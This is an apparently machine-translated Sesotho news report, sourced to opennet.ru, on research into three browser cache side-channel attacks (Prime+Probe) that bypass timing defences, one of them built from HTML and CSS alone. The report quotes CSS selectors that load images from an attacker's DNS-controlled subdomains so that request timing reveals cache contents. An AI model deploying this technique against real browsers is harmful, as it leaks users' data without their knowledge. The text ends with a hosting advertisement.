Tlhaselo ea "cache" ea CPU e kentsoe sebatling sa marang-rang ntle le JavaScript

Sehlopha sa bafuputsi ba tsoang liunivesithing tse 'maloa tsa Amerika, Israel le Australia li thehile litlhaselo tse tharo tse sebetsang ho libatli tsa marang-rang ho ntša tlhahisoleseling mabapi le litaba tsa cache ea processor. Mokhoa o mong o sebetsa ho libatli ntle le JavaScript, 'me tse ling tse peli li feta mekhoa e teng ea ts'ireletso khahlano le litlhaselo tse lehlakoreng, ho kenyelletsa le tse sebelisoang ho sebatli sa Tor le DeterFox. Khoutu ea ho bonts'a litlhaselo, hammoho le likarolo tsa seva tse hlokahalang bakeng sa litlhaselo, li hatisoa ho GitHub.

Ho sekaseka litaba tsa cache, litlhaselo tsohle li sebelisa mokhoa oa Prime + Probe, o kenyelletsang ho tlatsa cache ka sete e tloaelehileng ea boleng le ho bona liphetoho ka ho lekanya nako ea phihlello ho tsona ha u li tlatsa hape. Ho qoba mekhoa ea ts'ireletso e teng ho li-browser tse sitisang tekanyo e nepahetseng ea nako, likhethong tse peli, boipiletso bo etsoa ho seva sa DNS kapa WebSocket se laoloang ke mohlaseli, se bolokang tlaleho ea nako ea likopo tse amoheloang. Ka mokhoa o le mong, nako e tsitsitseng ea karabelo ea DNS e sebelisoa e le sesupo sa nako.

Litekanyo tse entsoeng ho sebelisoa li-server tsa kantle tsa DNS kapa tsa WebSocket, ho sebelisoa sistimi ea likarolo tse ipapisitseng le thuto ea mochini, li ne li lekane ho bolela esale pele boleng ka ho nepahala ho fihla ho 98% maemong a nepahetseng ka ho fetesisa (karolelano ea 80-90%). Mekhoa ea tlhaselo e 'nile ea lekoa ho li-platform tse fapaneng tsa hardware (Intel, AMD Ryzen, Apple M1, Samsung Exynos)' me e ipakile e le ea bokahohle.

Tlhaselo ea "cache" ea CPU e kentsoe sebatling sa marang-rang ntle le JavaScript

Phapang ea pele ea tlhaselo ea DNS Racing e sebelisa ts'ebetsong ea khale ea mokhoa oa Prime+Probe o sebelisa lihlopha tsa JavaScript. Liphapang li itšetlehile ka tšebeliso ea nako e ka ntle ea DNS-based le sesebelisoa sa onerror, se hlahisoang ha ho etsoa boiteko ba ho kenya setšoantšo ho tsoa sebakeng se seng teng. Sebali sa nako sa kantle se lumella tlhaselo ea Prime+Probe ho libatli tse fokotsang kapa tse thibelang ka botlalo phihlello ea nako ea JavaScript.

Bakeng sa seva sa DNS se fumanehang marang-rang a tšoanang a Ethernet, ho nepahala ha nako ho hakanngoa hore e ka ba 2 ms, e lekaneng ho etsa tlhaselo ea lehlakoreng le leng (ha ho bapisoa, ho nepahala ha nako e tloaelehileng ea JavaScript ho Tor Browser e fokotsehile ho isa ho 100 ms). Bakeng sa tlhaselo, taolo holim'a seva sa DNS ha e hlokehe, kaha nako ea ts'ebetso ea ts'ebetso e khethiloe e le hore nako ea karabelo e tsoang ho DNS e sebetse e le pontšo ea ho phethoa pele ho cheke (ho itšetlehile ka hore na mohlokomeli oa onerror o qalile joang. pejana kapa hamorao, ho etsoa qeto mabapi le lebelo la ts'ebetso ea cheke le cache) .

Mokhoa oa bobeli oa tlhaselo, "String and Sock," o reretsoe ho feta mehato ea ts'ireletso e fokotsang tšebeliso e tlase ea li-array ho JavaScript. Ho e-na le li-array, "String and Sock" e sebelisa ts'ebetso likhoeleng tse kholo haholo, tseo boholo ba tsona bo khethiloeng e le hore phetoho e koahele LLC eohle (Last Level Cache). Ebe, ho sebelisoa ts'ebetso ea indexOf(), khoele e batloa khoele e nyane e ka tlase e seng teng qalong khoeleng ea pele, ho bolelang hore ts'ebetso ea ho batla e thathamisa khoele eohle. Kaha boholo ba khoele bo tsamaellana le boholo ba cache ea LLC, ho skena ho lumella tlhahlobo ea cache ntle le ho fetola li-array. Ho lekanya latency, DNS e nkeloa sebaka ke mohala ho seva sa WebSocket se laoloang ke mohlaseli. Likopo li romelloa pele le ka mor'a ts'ebetso ea ho batla, ho latela hore na seva Tieho e sebediswang ho sekaseka dikahare tsa cache e balwa.

Mofuta oa boraro oa tlhaselo ea "CSS PP0" o kenngoa tšebetsong ka HTML le CSS 'me o ka sebetsa ho libatli tse nang le JavaScript e holofetseng. Mokhoa ona o ts'oana le "String and Sock" empa ha o tlangoe ho JavaScript. Tlhaselo ena e hlahisa sete ea likhethi tsa CSS tse etsang lipatlisiso ka maske. Thapo e kholo ea pele e tlatsang cache e hlalosoa ka ho theha tag ea div e nang le lebitso le leholo haholo la sehlopha. Ka hare, ho behiloe sete ea li-div tse ling tse nang le li-ID tsa tsona. Bakeng sa e 'ngoe le e 'ngoe ea li-div tsena tse nang le sehlaha, setaele sa eona se hlalosoa ka khetho e batlang substring. Ha e hlahisa leqephe, sebatli se leka pele ho sebetsana le li-div tse ka hare, tse lebisang ts'ebetsong ea ho batla khoeleng e kholo. Patlo e etsoa ka maske e totobetseng hore ha e eo 'me e lebisa ho pheta-phetoeng ha khoele eohle, ka mor'a moo boemo ba "che" boa qalisoa 'me ho etsoa boiteko ba ho kenya setšoantšo sa bokamorao se supang ka mokhoa o sa reroang libaka: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X …

Li-subdomain li fanoa ke li-server tsa DNS tsa mohlaseli, tse ka lekanyang tieho ea ho amohela likopo. Seva ea DNS e fana ka NXDOMAIN bakeng sa likopo tsohle mme e boloka tlaleho ea nako e nepahetseng ea likopo. Ka lebaka la ho sebetsana le sehlopha sa li-divs, seva sa DNS sa mohlaseli se fumana letoto la likopo, tieho e amanang le sephetho sa ho hlahloba likahare tsa cache.

Tlhaselo ea "cache" ea CPU e kentsoe sebatling sa marang-rang ntle le JavaScript


Source: opennet.ru
Reka sebaka se tšepahalang sa libaka tse nang le ts'ireletso ea DDoS, li-server tsa VPS VDS 🔥 Reka sebaka se tšepahalang sa ho amohela webosaete ka tšireletso ea DDoS, li-server tsa VPS VDS | ProHoster